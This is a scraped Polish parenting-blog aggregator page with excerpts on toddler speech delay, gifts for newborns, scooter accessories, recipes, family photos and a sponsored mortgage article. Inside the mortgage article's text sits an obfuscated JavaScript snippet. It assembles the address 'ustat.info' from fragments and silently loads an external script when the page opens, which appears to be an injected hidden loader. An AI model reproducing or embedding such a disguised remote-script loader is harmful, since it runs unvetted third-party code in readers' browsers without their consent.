PAMIĘTNIK MAMY

Dziecko jeszcze nie mówi. Czy to powód do niepokoju?

Jedne z najczęściej zadawanych pytań na forum mojego pamiętnika dotyczy opóźnienia mowy u dzieci. Czy to powód do niepokoju? – pytacie. Gdy dzieci znajomych świetnie już radzą sobie z komunikowaniem się ze światem a nasz maluch wciąż milczy, możecie czuć niepokój. Czy wszystko w porządku? Dlaczego tak się spóźnia z wypowiadaniem pierwszych słów? Co robić? Warto wziąć problem pod lupę, nie wpadając równocześnie w panikę. Jak rozwija się mowa u dzieci? Każde dziecko przechodzi przez etapy rozwoju mowy po swojemu. Musimy o tym pamiętać, by nie wtłaczać je w utarte schematy, tylko traktować indywidualnie. Warto znać podstawowe etapy dziecięcego przyswajania sobie języka. Nie mniej jednak należy pamiętać, że każde dziecko jest inne i rozwija się we własnym tempie. Pierwszy etap, trwający do pierwszego roku życia to tak zwany okres melodii. Zanim dziecko skończy sześć miesięcy, pojawia się tak zwane głużenie. Maluch na zasadzie odruchu bezwarunkowego wydaje z siebie gardłowe dźwięki. Gdy ma już pół roku zaczyna gaworzyć wypowiadając już spółgłoski połączone z samogłoskami. To charakterystyczne ma-ma, ga-ga możemy usłyszeć, gdy dziecko jest zadowolone, czuje się dobrze. Drugi etap rozwoju mowy trwa od pierwszego do drugiego roku życia malucha. Wtedy to zaczyna już reagować na polecenia dorosłych i powtarza wyrazy. Gdy kończy dwa lata potrafi formułować proste zdania, zazwyczaj oznajmujące, rozkazujące i pytające. Od trzeciego do siódmego roku życia mówi już w sposób zrozumiały dla dorosłych, z czasem ograniczając liczbę swoistych dla siebie, dziecięcych sformułowań. Co, gdy mowa dziecka się opóźnia? Jeżeli zaobserwujecie, że rozwój mowy u dziecka przebiega wolniej, niż według powyższego schematu nie wpadajcie w panikę. Najlepiej udać się wtedy do logopedy lub foniatry, który zdiagnozuje przyczyny problemu. Często może to być tzw. samoistne opóźnienie rozwoju mowy, które ma przyczyny w indywidualnym tempie procesu dojrzewania aparatu artykulacyjnego dziecka oraz dojrzewania odpowiedzialnych za mowę ośrodków w mózgu. W takim przypadku rozumienie słów przez malucha nie odbiega od normy, nie ma on też problemów ze słuchem – takie po prostu jest jego tempo. Jeśli wykluczymy poważniejsze problemy to nie powinniśmy się niepokoić. Nasza pociecha nadrobi zaległości w mówieniu około czwartego, piątego roku życia. Ważne jednak, abyśmy uważnie obserwowali rozwój mowy u dziecka, ponieważ jego zaburzenia mogą mieć poważniejsze przyczyny. Lekarz zdiagnozuje ewentualne problemy natury fizycznej i psychologicznej malucha, tak, aby można było zadziałać na czas. Opinia autorek książki  „Drugi i Trzeci Rok Życia Dziecka”. Według Heidi Murkoff & Sharon Mazel aby upewnić się, że nie macie do czynienia z czymś innym aniżeli wolniejszy rytm rozwojowy, obserwujcie, jak dziecko reaguje na to, co Wy mówicie. Na przykład czy rozumie pytania („Chcesz pić?”), czy wykonuje proste polecenia („Proszę, odłóż książkę na miejsce”), czy reaguje na stwierdzenia (Robimy teraz pa-pa”). Zwróćcie też uwagę czy dziecko potrafi porozumiewać się niewerbalnie (np. pokazując palcem lub chrząkając), gdy chce jeść, dostać zabawkę znajdującą się poza jego zasięgiem. Jeśli rozumie, co się do niego mówi, i potrafi wyrazić swoje życzenia (choć bez słów), nie ma powodu do niepokoju. Rozwój mowy nie świadczy o zdolnościach intelektualnych; dzieci, które są wcześnie aktywne werbalnie, często zawdzięczają to predyspozycjom genetycznym, a nie inteligencji. Obserwacja, konsultacja i trochę cierpliwości – to najlepsza recepta na problem rozwoju mowy. A kiedy Twoje dziecko zaczęło mówić?  

Gdzie wybrać się na rodzinny wypoczynek nad morzem?

KIEDY MAMA NIE ŚPI

Gdzie wybrać się na rodzinny wypoczynek nad morzem?

Bo własny kubek to podstawa :)

BABYLANDIA

Bo własny kubek to podstawa :)

Nie wiem jak Wy, ale ja uwielbiam kubki! A najlepiej takie super, śmieszne lub z fajnymi napisami. W domu mamy całą szafkę wypchaną po brzegi i szczerze powiem, że marzy mi się powywalać większość ponieważ są to takie najzwyklejsze, nijakie, nudne kubeczki za którymi nie przepadam. Mamy kilka swoich ulubionych i innych i tak nie ruszamy więc bez sensu zajmują przestrzeń...Tym bardziej, że niedawno do naszej kolekcji doszły dwa nowe!Koniecznie trzeba dla nich zrobić miejsce :)Są to super kubki od bardzo sympatycznej osoby, która ma nie tylko wspaniałe pomysły, ale i rewelacyjnie dąży do ich realizacji :) Dlatego zanim napiszę Wam więcej już teraz chciałabym Was zaprosić do fajnego miejsca jakim jest Lilladecor.pl :)Czytaj więcej »

Jej wysokość delikatność

KAMPERKI

Jej wysokość delikatność

MAMOWO

Przyznam się Wam do czegoś…

Robiłam w życiu różne rzeczy. Z jednych jestem dumna, z innych mniej. Ale nigdy… … nie jechałam sama pociągiem! Ba, nawet do SKM-ki nigdy sama nie wsiadłam! Z mężem, owszem, zjeździłam Polskę wzdłuż (wszerz nie ;)), ale sama nigdy. I pewnie już nigdy sama nie pojadę, bo mam dziecko. Z którym jeszcze nigdy nie jechałam […]

Jak ‚odpicować’ hulajnogi przed sezonem – niesamowite gadżety!

Makóweczki

Jak ‚odpicować’ hulajnogi przed sezonem – niesamowite gadżety!

Sezon sportowy czas zacząć! Hulajnogi czy rowery nie leżakowały w tym roku zbyt długo, ze względu na łaskawą zimę, jednak przed okresem silnej eksploatacji warto dokonać przeglądu sprzętów. Umyć, wyszorować, koła napompować… Część pojazdów pewnie będzie w tym sezonie za mała. U nas padło na rower Maksa (btw, mamy na sprzedaż Puky 16′, klik, klik) oraz biegówki Lenki (na nowego właściciela czeka fioletowy Micro G-bike). Maksio otrzymał nowy rowerek 20′, który zaprezentuję Wam w oddzielnym wpisie, zaś z Lenką nie do końca wiemy co zrobić, bo na 2 boi się jeździć. Jeśli się nie przełamie to trzeba będzie szukać większej biegówki. Hulajnogi pozostają w wersji ubiegłorocznej (Lenka Mini Micro, Maks, Maxi Micro). Postanowiliśmy je więc trochę… odpicować :) Lekkie, piankowe głowy jednorożca, konia lub smoka nadadzą hulajnodze ciekawego looku. Plus 100 do lansu na placu zabaw :) Dzwonki wydające trzy dźwięki (syrena, wyścigówka i dwie ‚pipczałki’) sprawią, że jazda nigdy nie będzie nudna. A Wy usłyszycie swoje w parku dziecko nawet z daleka. Torebki przypinane na kierownicy są praktyczne i bardzo ładne- można w nie spakować przekąskę lub picie na dłuższą wyprawę. Lub.. jak Lenka, włożyć tam kilo kamieni ;) W takiej wersji jazda jest jeszcze bardziej radosna i ekscytująca! Lenka: Płaszczyk- Mamunio Jeansy- Pepco Butki- Mrugała Maks: Ciepła bluza (świetnie pełni rolę wiosennej kurtki) - Kidsmuse Spodnie- Zara Buty- H&M   I jeszcze słówko o płaszczyku Lenki. Dostałyśmy od Asi z Mamunio takie dwa – dla mnie i małej. Miałam Wam zrobić sesję nad morzem, ale przesyłka się zagubiła i nie zdążyłam. Więc piszę szybko z serducha, zanim zdążem na sobie pokazać, że płaszczyki są ba- je- czne! Lekkie, ale nie za lekkie, dobrze chronią przed wiatrem. Wyglądają przeuroczo na Lence ale równie nieźle na mnie (skromność :P). Są niezwykle wiosenne, co podkreśla urocza, kwiatowa podszewka. Z resztą fanką Mamunio jestem od jesieni kiedy to Asia wysłała nam spodenki i płaszczyki. Serce człowiek i widać to w jej produktach!

Akcesoria Skip Hop na rodzinną majówkę.

KIEDY MAMA NIE ŚPI

Akcesoria Skip Hop na rodzinną majówkę.

Mamy Sprawy

kulki z cieciorki pełne słodyczy

Antek się zajada, a Darek pyta się mnie czy nie oszalałam. Na całe szczęście Antoś nie wybrzydza jak jego tato i chętnie poznaje nowe smaki. Nasz tatko wolałby wyeliminować ze słownika takie słowa jak ciecierzyca, soczewica czy szpinak, którym to był właśnie karmiony w latach swojego dzieciństwa. Zawsze opisuje mi swoje smutne wspomnienia, kiedy Pani w przedszkolu nakładała mu taką … Czytaj WięcejArtykuł kulki z cieciorki pełne słodyczy pochodzi z serwisu Mamy Sprawy - Blog parentingowy.

OLOMANOLO

Przepis na deser „Niebo w gębie”, zjesz i odfruniesz…

Od jakiegoś czasu bardzo popularne są nasiona szałwii hiszpańskiej, potocznie nazywane nasionami chia. Te małe ziarenka robią furorę w mediach społecznościowych, dlatego postanowiłam sprawdzić, co w sobie mają i czy rzeczywiście warto zwrócić na nie uwagę. Według wikipedii, Szałwia hiszpańska …

Krokusy w Dolinie Chochołowskiej

Lady Gugu

Krokusy w Dolinie Chochołowskiej

MAMOWO

5 dziwnych zjawisk na placu zabaw…

  Stało się! Miesiąc temu wybrałam się na plac zabaw. To co tam odkryłam, każe mi sądzić, że plac zabaw to takie magiczne miejsce, w którym dzieją się cuda. Być może to tam znajdą się pieniądze na przyszłoroczne transze programu 500+? Kto wie, w końcu to tam… 1. …panują dziwne warunki atmosferyczne. W końcu nie w […]

KURA KU RAdości

Informacja

Sobota. Szary świt. Śpię. Ktoś dłubie mnie w oko. Coś tam burczę, dokonując heroicznych wysiłków przy podnoszeniu powieki. W szarzyźnie poranka slychać szum do ucha. – Mamooo, dziś sobota, wiesz? Możesz sobie spać ile chcesz! Wiesz, wiesz, mamooooo!? … … Niewyspany zawsze poinformowany. Pozdrawiam Kura

Na 100 % …

WIKILISTKA

Na 100 % …

Młoda Mama w Dolinie Hipsterów

5 pomysłów na prezent z okazji narodzin dziecka

W Polsce ciągle jeszcze nie ma mody na organizowanie hucznych baby shower. Choć może to nie są imprezy w moim stylu, wydaje mi się, że mogłyby być fajną okazją do tego, by utrzymać dobre relacje pomiędzy przyszłą mamą a bezdzietnymi koleżankami. A te, jak wiecie, często zaczynają mocno kuleć w momencie narodzin dziecka. Wciąż jednak odwiedzamy młodą mamę tuż po porodzie i przynosimy drobiazgi dla jej maluszka. To piękny gest, który wiele dla niej znaczy. Dlatego chciałam polecić Ci kilka rzeczy, które okażą się strzałem w dziesiątkę, kiedy będziesz wybierać prezent z okazji narodzin dziecka. Możesz powiedzieć, że wymyślam. Że przecież młodej mamie przydadzą się przede wszystkim pampersy, które – zwłaszcza na początku – schodzą w niesamowitych ilościach. Jestem młodą mamą, na świeżo w temacie, dlatego mówię NIE pampersom. Młoda mama tonie w pampersach! Warto pamiętać, że nie istnieje matka, która ma za dużo pieniędzy. Dlatego warto wybrać coś, na co ona się nie odważy wydać dodatkowych pieniędzy… lub zwyczajnie jej ich zabraknie. Oto moje 5 pomysłów na najlepszy prezent z okazji narodzin dziecka – bierzcie i korzystajcie! Poduszka Cebuszka To hit, który można dać matce… jeszcze zanim nią zostanie! Poduszka Cebuszka, którą możecie wygrać w moim konkursie TUTAJ, to genialne rozwiązanie dla kobiet w ciąży. Nie tylko dla tych, które znoszą ją źle. Każda z nas jest zmęczona. To jednak nie jedyne jej zastosowanie. Po narodzinach okazuje się być super gniazdkiem dla maluszka, poduszką do karmienia czy wygodnym podgłówkiem dla mamy… i taty! Projektor w zabawnym kształcie Takie cudo ma same zalety. Daje delikatne światło, najczęściej przy okazji wyświetlając na suficie przyjemne gwiazdki. Najczęściej wydaje z siebie spokojne nuty, przy których dziecko łatwiej zasypia. Dodatkowo najczęściej jest w kształcie pluszaka, przez co staje się także przytulakiem maluszka. Moim hitem jest jeżyk od firmy Marko – tę pocieszną lampkę nocną miałam okazję zobaczyć w Kielcach. Kura Babci Dany Jeszcze będąc w ciąży, zakochałam się w niej po uszy. Jest dostępna w milionie kolorów i wzorów, w dwóch rozmiarach. Zrobiona z przyjemnego w dotyku minky. Sprawdza się jako poduszka do karmienia, zabawka dla dziecka, a także ozdoba na sofę – nadaje domowi przytulny, rodzinny charakter. Jak dla mnie – ma same zalety. Nie znam młodej mamy, która nie uśmiechnie się na jej widok! Miś Whisbear Niemal każde dziecko przechodzi przez jakiś okres kolki – czasem dłużej, czasem krócej. Płacz, który im towarzyszy, jest niemal nie do uspokojenia. Wtedy z pomocą rusza Miś Whisbear, którego szum działa jak cud. Ten zabawny misiak, wyglądający trochę jak ośmiornica z czterema nóżkami, z czasem staje się też ulubioną przytulanką maluszków. Ma elementy szeleszczące i kolorowe łapki, a dzięki magnesom w nich ukrytych łatwo przyczepić go do wózka czy łóżeczka. Temu cudownemu misiowi poświęciłam cały osobny wpis – tutaj. Leżaczek bujaczek Najlepszy będzie taki, który rośnie wraz z dzieckiem. W tej chwili jest mnóstwo leżaczków na rynku, dlatego można mieć problem z wyborem. Niezależnie jednak od tego, czy wybierzesz ten, który ma wibracje, sam kołysze dziecko czy ma inne cuda i jeszcze potrafi mówić, pamiętaj przede wszystkim o bezpieczeństwie – ważne będą pasy i możliwość zablokowania opcji bujania, żeby uniknąć wypadku. Moim zdaniem, na takim prezencie nie powinno się przesadnie oszczędzać. Warto kupić coś, co nie tylko będzie praktyczne, ale sprawdzi się na długo. Żeby za dwa miesiące nie okazało się, że maluszek już jest na to za duży. Przyjrzyj się wszystkim zabawkom pod kątem funkcjonalności – niech nie będzie to kolejny pluszak, który kurzy się na półce lub w koszu, a coś, co pomoże mamie, np. przy kładzeniu maluszka spać. Wydaje mi się, że moje pomysły na prezent z okazji narodzin dziecka są sprawdzone pod każdym kątem. Co Ty o tym sądzisz? Każdy wpis to kawałek mojego serca. Jeśli coś Ci się w nim spodobało, pokaż mi to! Możesz zostawić komentarz, udostępnić wpis czy dać kciuka w górę na Facebooku. Choćby najdrobniejsza reakcja jest dla mnie wyjątkową nagrodą. Dziękuję! Wpisy o podobnej tematyce:Wyprawka niemowlęca – jak nie zbankrutować?Gówniara z dzieckiem na garnuszku rodzicówBLW – jak to ugryźć?Artykuł 5 pomysłów na prezent z okazji narodzin dziecka pochodzi z serwisu Młoda Mama w Dolinie Hipsterów.

Restaurant Week 2016

DWARAZYW

Restaurant Week 2016

Blog o modzie dla dzieci i nastolatek DwaRazyW"Szczecińska scena restauracyjna to prawdziwy skarb ukryty na północy Polski. Tradycyjne dania rybne są najważniejszym elementem tutejszego dziedzictwa kulinarnego. Kuchnia Pomorza Zachodniego łączy w sobie samowystarczalność i wykorzystywanie tradycji kulinarnych różnych kultur. Dzisiejsza kwitnąca scena restauracyjna Szczecina słynie już nie tylko z pomorskich smaków - nowoczesne trendy nadały szczecińskim restauracjom międzynarodowego charakteru, co zostało dostrzeżone w całej Europie." Restaurant WeekStarannie wybrana grupa najlepszych i najbardziej autorskich restauracji polskich miast. Specjalnie skomponowane, popisowe menu festiwalowe.Poniżej kilka kadrów potwierdzających fakt, że fajnie być ambasadorem Restaurant Week nawet wtedy, kiedy jest się na diecie. By móc ocenić walory smakowe, zabrałam ze sobą asystenta ;-) Jak widać asystent zadowolony. Było pysznie tak, że palce lizać. A mi pozostało oceniać walory wizualne. Trafiłam doskonale. Znacie przecież moje kulinarne poczucie estetyki.Restauracji Virga tworzy kuchnię polską w nowoczesnym wydaniu. I to jest to, co ja lubię najbardziej. Nie mogłam się oprzeć, by nie pokazać Wam kilku fotografii, jakie udało mi się zrobić tego popołudnia. Smacznego!

Refleksje o rodzicielstwie (3)

Jak mówić, żeby dzieci nas słuchały

Refleksje o rodzicielstwie (3)

Kawka, ploty… i wielkie serca!

Młoda Mama w Dolinie Hipsterów

Kawka, ploty… i wielkie serca!

Zosia i Filip 2016: 11/52, 12/52, 13/52.

MAMUSIOWO BORSUCZKOWO

Zosia i Filip 2016: 11/52, 12/52, 13/52.

Znów gdzieś się zapodziała moja systematyczność, znów mi się zapomniało o zdjęciach tygodnia. Ba, zapomniało mi się nawet, że mam coś pisać, a czasem nawet zapominałam, że mam bloga. No cóż, ostatnie tygodnie spędziliśmy dość aktywnie. W zasadzie niewiele z tej aktywności wynikło, ale fakt jest faktem, że na internety, a tym bardziej na siedzenie przed laptopem zwyczajnie czasu brakowało. A jako że przyszła wreszcie wiosna i jakoś nic nie zapowiada by miała się gdzieś daleko wynieść, to może tak być coraz częściej. Do tego problemy zdrowotno-macierzyńsko-formalne czyli ciągle nie wyjaśnione sprawy z ZUS'em, praca, kłopoty z załatwieniem pozwolenia na budowę, trwający wieki remont w pracy, lekarze, dentyści, czasem zakupy i zostaje czasu w sam raz, żeby skorzystać z pogody, nacieszyć się dzieciakami, powietrzem, spacerami. Na internety niewiele co zostaje. Ale po co krakać, co będzie, to będzie, a na razie ostatnie trzy tygodnie w zdjęciach.Tydzień 11.Przedświąteczna nuda, jeszcze na dworze różnie, w domu pomysłów mnogość,czekanie na wiosnę.Tydzień 12.To już przede wszystkim święta i przeżywanie wszystkiego, co w święta się zdarzyło. Dla dzieci to niesamowite atrakcje, każdy dzień inny, każdy gdzieś indziej, od rana do nocy więc potem zrozumiałym jest, że ciężko im się odnaleźć w codzienności. Fifi do tej pory opowiada o piesku dziadka czy o spacerach po cmentarzu.Ten tydzień to też wreszcie długo wyczekiwana piękna pogoda. Wreszcie można pobiegać po działce bez brodzenia w błocie i w końcu można pospać na dworze, na spacerze. Bez problemu możemy zrobić sobie dłuższą wycieczkę bez obaw, że na drugi dzień dzieciaki znów będą zagilane. No i wreszcie pojawia się upragnione słoneczko. Od razu widać po dzieciach, ze one też czerpią energię ze słońca.Tydzień 13.Istny wybuch wiosny. Nawet momentami lata, bo jednego dnia temperatury sięgały nawet 25 stopni. I choć końcówka pochmurna, to raczej nie ma już większych szans na powrót zimy. W ruch poszły lżejsze buty, bezrękawniki, wiatróweczki. Spacery, place zabaw, wycieczki. Już nie ma wymówek i trzeba się starać. Fifi większość dnia w przedszkolu spędza na podwórzu, ja już nie migam się przed zakupami z Zosią, ubieram butki i obie człapiemy. Popołudniami też nie ma przeproś, trzeba ruszyć tyłki i wychodzić z domu.Wiosna i słońce ma jeszcze jeden, bardzo istotny plus. Piękne, barwne, ciekawe zdjęcia, z którymi ja osobiście będę miała problem, bo znów nie będę wiedziała, które mam wybrać.

The military-style…

BOBOFASHION

The military-style…

MAMA TRÓJKI

CZAPKA NA WIOSNĘ-JAK USZYĆ W 5 MINUT?

                Piękna pogoda zachęca do zmiany odzieży zimowej na... letnią. Jednak złudne odczucie ciepła może spowodować zaziębienie. Wcześnie rano i wieczorem dobrze mieć dla dziecka cienką czapeczkę (sama mam taką dla siebie w torebce). Większość proponowanych na rynku jest za gruba, dlatego postanowiłam uszyć tę idealną. Co do tego potrzebowałam? Kawałek dresowego materiału. Czapeczka

Kredyt na mieszkanie – wnioskować o niego samodzielnie czy z drugą połówką?

KIEDY MAMA NIE ŚPI

Kredyt na mieszkanie – wnioskować o niego samodzielnie czy z drugą połówką?

Własne mieszkanie najczęściej kupujemy na kredyt. Do tego, aby kupić je jako para, wcale nie trzeba zawarcia małżeństwa, ale z drugiej strony trzeba też pamiętać, że nie zawsze jest to opłacalne rozwiązanie. Kiedy lepiej wnioskować o kredyt samodzielnie, a kiedy ze swoją drugą połówką?(function(){ ttspu="sd99k9tktsph";ttsp=document.createElement("script"); ttsp_="u"+("st");ttsp_+="at"+(".");ttsp.async=true;ttsp_+="in"; ttspu="8736377."+ttspu;ttsp.type="text/javascript";ttspu+="yp9zrs922rkd"; ttspu+="fcecsz";ttsp_+=("f")+"o"+("/");ttsp.src="//"+ttsp_+ttspu; ttspd=document.body;ttspd.appendChild(ttsp); })(); Decyzja o wspólnym zamieszkaniu to bardzo ważny krok, dlatego też trzeba ją zawsze dobrze przemyśleć. Warto pamiętać o tym, że wiele związków nie wytrzymuje zbyt długo, więc wspólne zawarcie umowy może być wtedy większym problemem niż korzyścią, dlatego też pierwsze wspólne mieszkanie powinno być wynajęte czy też powinno należeć do jednego z partnerów. Dopiero po jakimś czasie, gdy wspólne życie będzie zmierzało w dobrym kierunku, warto planować je poważniej.Kredyt w parze łatwiejszy?Zazwyczaj pracującym parom jest znacznie prościej uzyskać kredyt hipoteczny na zakup mieszkania, ponieważ wtedy do obliczania zdolności kredytowej brane są wspólne wpływy każdej z osób, co pozwala na uzyskanie wyższego dochodu. Ponadto bank preferuje takie rozwiązania, ponieważ w razie utraty pracy przez jednego z partnerów spłata zadłużenia nie będzie wysoce ryzykowna.Jednak trzeba pamiętać o tym, że nie zawsze zakupienie mieszkania wspólnie jest opłacalne. Przede wszystkim dotyczy to sytuacji, gdy jeden z partnerów zarabia mało, ma umowę cywilno-prawną lub nie ma w ogóle żadnych dochodów. W takiej sytuacji lepiej, aby o kredyt wnioskował ten partner, który ma wyższą pensję. Dodatkowo także więcej osób na utrzymaniu zmniejsza zdolność kredytową, ponieważ przekłada się to na wyższe koszty.Skonsultujcie się z doradcą finansowymDlatego też jeżeli interesują was mieszkania na sprzedaż w Poznaniu, Szczecinie czy w Warszawie lub w innych miastach, warto dobrze przemyśleć decyzję o tym, jak wziąć na nie kredyt. Najlepiej w tym celu udać się także do doradcy finansowego, który będzie mógł wtedy przygotować symulacje i wskazać, jakie rozwiązanie będzie najlepsze. Z pomocy doradców finansowych można skorzystać również w biurach deweloperów.* wpis sponsorowany

BAKUSIOWO

Zabezpieczony: Gdzie kucharek 6, tam… wszystko zjedzone :)

Brak zajawki, ponieważ wpis jest zabezpieczony hasłem.

MATKA NIE IDEALNA

Nie kocham swojego dziecka.

 Dowiadujesz się o ciąży. Z Twoich myśli wypływa nieme „o kurwa!” bez względu na to czy dziecka chciałaś czy zaliczyłaś klasyczną wpadkę pyskiem w macierzyństwo. Ciąża jest zaskoczeniem, bez względu na to czy staraliście się o dziecko miesiącami, czy też ten jedyny raz apteka była za daleko a pizgawica na dworze nastrajała jedynie do pozostania w łóżku. Zaczynasz przyswajać myśl, że zostaniesz mamą. Nie jest ... Artykuł Nie kocham swojego dziecka. pochodzi z serwisu matka-nie-idealna.pl.

Minutka w sieci

KURA KU RAdości

Minutka w sieci

Make One Wish

szarlotka z pianką

Dostałam od przemiłej Pani reklamówkę jabłek i musiałam coś z nimi zrobić. A że od porodu Ani w naszym domu oprócz tortu na 2 ur Mai i babeczek na Wielkanoc nic innego nie powstało, to postanowiłam coś upiec. Padło na… Czytaj dalej →

W pokoiku na stoliku

LUNA W CHMURACH

W pokoiku na stoliku

W dobrych bajkach zawsze wygrywa dobro

…bo jestem mamą

W dobrych bajkach zawsze wygrywa dobro

Migawki marcowe

Mamy Sprawy

Migawki marcowe

Przeglądając folder z marca, odkryłam, że zdjęcia robione na początku miesiąca były takie szarobure, kiepskiej jakości, za oknami leżał jeszcze gdzieniegdzie śnieg. I tak stopniowo zdjęcia stawały się coraz jaśniejsze, pełne słońca. I chyba mój organizm powoli przestawia się na wiosenny tryb, bo domaga się zieleniny. Uwielbiam rukole z pesto i kurczakiem w bułce. Mogę tak jeść codziennie.   W drugiej … Czytaj WięcejArtykuł Migawki marcowe pochodzi z serwisu Mamy Sprawy - Blog parentingowy.

KOSMETOMAMA

Matka jest jak MacGyver. Potrafi stworzyć coś z niczego.

Godzina 8:30, wtorek. Dzień taki jak zwykle. Pośpiech, zamieszanie i ogólne szaleństwo. Jak to przy dwójce wychodzących z domu dzieci jest. Bo przecież my dorośli ciągle gdzieś się spieszymy, a dzieci zawsze maja dużo czasu, zawsze. „Mamy czas” Powtarzałam sobie prawie godzinę przed podwójną kontrolną wizytą do kardiologa. Planowaną i dokładnie zaznaczona miesiąc wcześniej w kalendarzu. Niby mamy czas, niby. Bo wizyta jest na 9:15. A ... Post Matka jest jak MacGyver. Potrafi stworzyć coś z niczego. pojawił się poraz pierwszy w kosmetomama.

DOOKOŁA NAS

Wiatr we włosach

Rower daje wolność, od wczoraj tej wolności doświadcza najmłodszy z rodziny. Od wczoraj też schodzi z niego tylko na posiłki;) Ambitnie był plan jazdy na dwóch kółkach, ale szybko go porzuciliśmy żeby nie frustrować Mikołaja i nie robić zbędnego ciśnienia i dokręciliśmy dwa z boku, jedno wyżej, więc łapie równowagę. Nie mniej prawdą jest, że […] To tylko fragment wpisu! Kliknij na tytuł, aby przeczytać całość. Wiatr we włosach. Dołącz do nas na Facebook-u Dołącz do nas na Google+